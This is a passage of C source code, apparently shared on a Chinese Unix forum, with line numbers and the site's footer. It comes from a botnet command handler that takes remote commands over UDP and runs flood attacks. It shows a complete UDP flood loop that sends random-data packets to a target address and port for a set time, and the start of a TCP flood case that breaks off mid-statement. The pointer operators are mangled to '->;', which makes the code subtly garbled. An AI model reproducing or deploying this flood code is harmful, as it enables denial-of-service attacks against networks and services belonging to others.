  1132. senderror(&udpclient,rp->;h.id,"Size must be less than or equal to 9216\n");
  1133. break;
  1134. }
  1135. if (!isreal(rp->;target)) {
  1136. senderror(&udpclient,rp->;h.id,"Cannot packet local networks\n");
  1137. break;
  1138. }
  1139. if (waitforqueues()) break;
  1140. str=(char*)malloc(rp->;size);
  1141. if (str == NULL) break;
  1142. for (i=0;i<rp->;size;i++) str[i]=rand();
  1143. memset((void*)&in,0,sizeof(struct sockaddr_in));
  1144. in.sin_addr.s_addr=rp->;target;
  1145. in.sin_family=AF_INET;
  1146. in.sin_port=htons(rp->;port);
  1147. while(1) {
  1148. if (rp->;port == 0) in.sin_port = rand();
  1149. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  1150. else {
  1151. flag = fcntl(fd, F_GETFL, 0);
  1152. flag |= O_NONBLOCK;
  1153. fcntl(fd, F_SETFL, flag);
  1154. sendto(fd,str,rp->;size,0,(struct sockaddr*)&in,sizeof(in));
  1155. close(fd);
  1156. }
  1157. if (i >;= 50) {
  1158. if (time(NULL) >;= start+rp->;secs) exit(0);
  1159. i=0;
  1160. }
  1161. i++;
  1162. }
  1163. FREE(str);
  1164. } exit(0);
  1165. case 0x2A: { // Tcp flood
  1166. int flag=1,fd,i=0;
  1167. struct sockaddr_in in;
  1168. time_t start=time(NULL);
  1169. struct tcp_rec *rp=(struct tcp_rec *)buf;
  1170. if (udpserver.len < sizeof(struct tcp_rec)) break;
  1171. if (!isreal(rp->;target)) {
  1172. senderror(&udpclient,rp->;h.id,"Cannot packet local networks\n");
  1173. break;
  1174. }
  1175. if (waitforqueues()) break;
  1176. memset((void*)&in,0,sizeof(struct sockaddr_in));
  1177. in.sin_addr.s_addr=rp->;target;
  1178. in.sin_family=AF_INET;
  1179. in.sin_port=htons(rp->;port);
  1180. while
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP